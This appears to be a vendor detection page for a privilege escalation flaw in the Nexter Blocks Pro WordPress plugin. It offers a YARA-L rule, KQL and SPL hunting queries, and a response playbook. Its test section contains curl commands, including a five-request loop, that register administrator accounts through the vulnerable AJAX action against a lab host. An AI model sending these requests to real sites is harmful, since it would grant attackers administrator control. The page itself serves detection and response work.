Detect Nexter Blocks Pro <= 5.0.10 Privilege Escalation via tpgb_ajax_register_user() (CVE-2026-125294) in Google Chronicle
Detects exploitation of CVE-2026-125294, a privilege escalation vulnerability in the Nexter Blocks Pro plugin for WordPress (all versions up to and including 5.0.10). The vulnerable `tpgb_ajax_register_user()` AJAX handler fails to properly restrict the role/capability assigned during registration (CWE-269: Improper Privilege Management), allowing unauthenticated or low-privileged attackers to register accounts with elevated roles (e.g. administrator). Detection focuses on POST requests to WordPress admin-ajax.php invoking the `tpgb_ajax_register_user` action, especially those carrying role-related parameters, followed by creation of privileged accounts. CVSS 9.8 (critical); exploit status is currently theoretical.
MITRE ATT&CK
YARA-L Detection Query
// df00tech DF00-2bd163cf21 · https://df00tech.com/detections/CVE-2026-125294 · licence: https://df00tech.com/detections/licence
rule nexter_blocks_pro_privesc_cve_2026_125294 {
meta:
author = "Argus"
description = "Nexter Blocks Pro tpgb_ajax_register_user privilege escalation (CVE-2026-125294)"
severity = "CRITICAL"
events:
$e.metadata.event_type = "NETWORK_HTTP"
$e.network.http.method = "POST"
re.regex($e.target.url, `admin-ajax\.php`)
re.regex($e.network.http.referral_url, `tpgb_ajax_register_user`) or re.regex($e.target.url, `tpgb_ajax_register_user`)
condition:
$e
} Chronicle YARA-L rule matching NETWORK_HTTP POST events to admin-ajax.php referencing the tpgb_ajax_register_user action.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate Nexter registration traffic with enforced subscriber role
- Authorized vulnerability scanning
- QA/staging registration automation
Other platforms for CVE-2026-125294
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulate tpgb_ajax_register_user privilege escalation request
Expected signal: Web access log entry: POST /wp-admin/admin-ajax.php with action=tpgb_ajax_register_user and role=administrator in the body.
- Test 2 Baseline legitimate subscriber registration (negative test)
Expected signal: Web access log entry: POST /wp-admin/admin-ajax.php with action=tpgb_ajax_register_user and no role parameter.
- Test 3 Scripted repeated exploitation attempts from single source
Expected signal: Five web access log entries from one source IP to admin-ajax.php invoking tpgb_ajax_register_user with role=administrator.
Response Playbook
Triage
- Confirm the targeted WordPress site runs the Nexter Blocks Pro plugin at version <= 5.0.10 (check wp-content/plugins/nexter-blocks-pro and plugin headers).
- Review the flagged admin-ajax.php POST request(s) for the tpgb_ajax_register_user action and inspect any role, wp_capabilities, or administrator parameters in the request body.
- Correlate the source IP and timestamp against WordPress user creation events to determine whether a new privileged account was created.
- Check the HTTP response status code, a 200 with a success payload suggests the registration handler executed.
Containment
- Disable or update the Nexter Blocks Pro plugin to a patched version above 5.0.10; if no patch exists, deactivate the plugin.
- Suspend or delete any newly created accounts with elevated (administrator/editor) roles that cannot be attributed to a legitimate action, and force a password reset for all admin accounts.
- Block the offending source IP(s) at the WAF/firewall and apply a virtual patch rule denying tpgb_ajax_register_user with role parameters.
Evidence Collection
- Preserve web/IIS/nginx access logs showing the admin-ajax.php POST requests, including full request bodies if captured.
- Export the WordPress wp_users and wp_usermeta tables (particularly wp_capabilities entries) and the audit log of user creation/role changes.
- Capture the plugin files and version metadata, and snapshot the database state for forensic comparison.
Escalation Criteria
- !Escalate to incident response if a new administrator-level account was successfully created or if an existing account's role was elevated.
- !Escalate if post-exploitation activity is observed, such as plugin/theme file modification, webshell upload, or admin login from the attacker IP.
Investigation Guide
Forensic Artifacts
- >
WordPress wp_users / wp_usermeta rows (wp_capabilities) showing unexpected administrator/editor roles - >
Web server access logs with POST requests to admin-ajax.php and the tpgb_ajax_register_user action - >
Newly created or modified PHP files under wp-content indicating post-compromise webshell activity
Tuning Guidance
If the site legitimately uses the Nexter registration form, baseline the expected request rate and role parameter values (should be subscriber only) and alert only on requests carrying administrator/editor/wp_capabilities parameters or on registrations immediately followed by admin capability assignment. Exclude known security scanner source IPs. Prioritize alerts where the HTTP response indicates success (200).
Hunting Queries
Aggregates admin-ajax.php requests invoking tpgb_ajax_register_user by source IP to surface repeated or scripted exploitation attempts.
// df00tech DF00-2bd163cf21 · https://df00tech.com/detections/CVE-2026-125294 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem endswith "admin-ajax.php" and csMethod == "POST" and csUriQuery has "tpgb_ajax_register_user" | summarize count(), make_set(scStatus) by cIP, bin(TimeGenerated, 1h) ``` df00tech DF00-2bd163cf21 · https://df00tech.com/detections/CVE-2026-125294 · licence: https://df00tech.com/detections/licence ```
index=web uri_path="*admin-ajax.php" http_method=POST | search _raw="*tpgb_ajax_register_user*" | stats count values(status) by src_ip Atomic Red Team Tests
Sends an unauthenticated POST to admin-ajax.php invoking the vulnerable action with an administrator role parameter against a lab WordPress instance.
Command
curl -s -X POST 'http://wordpress.lab/wp-admin/admin-ajax.php' --data 'action=tpgb_ajax_register_user&username=attacker01&[email protected]&password=P@ssw0rd123!&role=administrator' Cleanup
wp user delete attacker01 --yes --path=/var/www/html || mysql -e "DELETE FROM wp_users WHERE user_login='attacker01';" wordpress Expected Telemetry
Web access log entry: POST /wp-admin/admin-ajax.php with action=tpgb_ajax_register_user and role=administrator in the body.
Expected Detection
KQL/SPL/EQL rules fire on the admin-ajax.php POST containing tpgb_ajax_register_user and flag the elevated role parameter.
Submits a benign registration without a role parameter to validate that tuning does not over-alert on normal usage.
Command
curl -s -X POST 'http://wordpress.lab/wp-admin/admin-ajax.php' --data 'action=tpgb_ajax_register_user&username=normaluser&[email protected]&password=User1234!' Cleanup
wp user delete normaluser --yes --path=/var/www/html || mysql -e "DELETE FROM wp_users WHERE user_login='normaluser';" wordpress Expected Telemetry
Web access log entry: POST /wp-admin/admin-ajax.php with action=tpgb_ajax_register_user and no role parameter.
Expected Detection
Base detection matches the action; the elevated-role flag remains 0, and tuned alerts should not escalate.
Issues multiple registration requests in sequence to emulate automated abuse and validate aggregation hunting queries.
Command
for i in $(seq 1 5); do curl -s -X POST 'http://wordpress.lab/wp-admin/admin-ajax.php' --data "action=tpgb_ajax_register_user&username=bulk$i&[email protected]&password=P@ssw0rd123!&role=administrator"; done Cleanup
for i in $(seq 1 5); do wp user delete bulk$i --yes --path=/var/www/html; done Expected Telemetry
Five web access log entries from one source IP to admin-ajax.php invoking tpgb_ajax_register_user with role=administrator.
Expected Detection
Hunting aggregation query groups the five requests by source IP and surfaces the burst of elevated-role registration attempts.